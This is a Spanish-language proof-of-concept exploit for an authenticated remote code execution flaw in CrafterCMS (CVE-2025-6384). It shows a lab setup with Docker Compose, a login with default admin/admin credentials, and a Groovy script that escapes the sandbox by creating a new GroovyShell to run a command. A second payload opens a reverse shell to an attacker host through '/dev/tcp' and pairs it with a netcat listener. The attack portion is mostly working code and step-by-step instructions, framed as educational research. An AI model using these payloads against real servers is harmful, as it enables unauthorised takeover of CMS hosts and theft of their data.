
Exploit PoC para un RCE autenticado en CrafterCMS mediante bypass del sandbox de Groovy (CVE-2025-6384)
Una Prueba de Concepto para una vulnerabilidad de Ejecución Remota de Código autenticada en CrafterCMS.
Un usuario autenticado con privilegios de desarrollador puede eludir el sandbox de scripts Groovy en Crafter Studio para lograr Ejecución Remota de Código (RCE). El sandbox no logra bloquear la instanciación de un nuevo GroovyShell, que puede usarse para crear un nuevo entorno de ejecución sin restricciones.
Puede desplegar rápidamente una instancia vulnerable de CrafterCMS para pruebas utilizando los archivos oficiales de Docker Compose.
Clone el repositorio docker-compose de CrafterCMS:
git clone https://github.com/craftercms/docker-compose.git
Navegue al directorio del entorno de creación:
cd docker-compose/authoring
Inicie los contenedores. Esto descargará las imágenes necesarias e iniciará el stack de CrafterCMS.
docker-compose up
(Nota: Puede ser necesario sudo dependiendo de su instalación de Docker.)
Espere a que los servicios se inicialicen completamente. Puede acceder a Crafter Studio en http://localhost:8080/studio.
adminadminSi bien el sandbox bloquea correctamente los métodos de ejecución directa, permite el siguiente payload, que crea un nuevo shell de Groovy sin sandbox.
// File: /scripts/interceptors/pwn.groovy
def shell = new GroovyShell()
def command = "id" // <-- Your command here
def result = shell.evaluate("'''${command}'''.execute().text")
// The output is printed to the server logs
System.err.println("[RCE-PoC] " + result)
Este payload demuestra RCE completo estableciendo una reverse shell hacia una máquina controlada por el atacante.
En su máquina, inicie un listener (por ejemplo, usando netcat) para recibir la conexión entrante:
nc -lvnp 4444
Utilice el siguiente script Groovy como su payload. Recuerde reemplazar <YOUR_IP> y <YOUR_PORT> con la dirección IP y el puerto de su listener.
// File: /scripts/interceptors/exploit.groovy
def attacker_ip = "<YOUR_IP>"
def attacker_port = "4444" // Or <YOUR_PORT>
def cmd = "bash -i >& /dev/tcp/" + attacker_ip + "/" + attacker_port + " 0>&1"
def shell = new GroovyShell()
// Use triple quotes to handle the command string easily
shell.evaluate("""
new ProcessBuilder("/bin/bash", "-c", "${cmd}").start()
""")
System.err.println("Reverse shell payload executed.")
Inicie sesión en Crafter Studio (http://localhost:8080/studio) con las credenciales predeterminadas (admin / admin).
Navegue a Configuración del Sitio -> Scripts.
Haga clic en Crear/Editar Script en la sección "Scripts Groovy".
Elija un tipo de script que se ejecutará, como Interceptor de Solicitudes.
Pegue el payload de la PoC en el editor de scripts y guárdelo.
Active el script visitando cualquier página del sitio web (por ejemplo, http://localhost:8080).
Verifique los registros de error estándar del servidor para ver la salida del comando.
docker-compose logs -f crafter
Salida esperada:
GroovyShell: uid=1000(crafter) gid=1000(crafter) groups=1000(crafter)
netcat. Debería recibir una sesión de shell desde el contenedor.

Este material es solo para fines educativos y de investigación. El autor no es responsable por ningún mal uso o daño causado por esta información.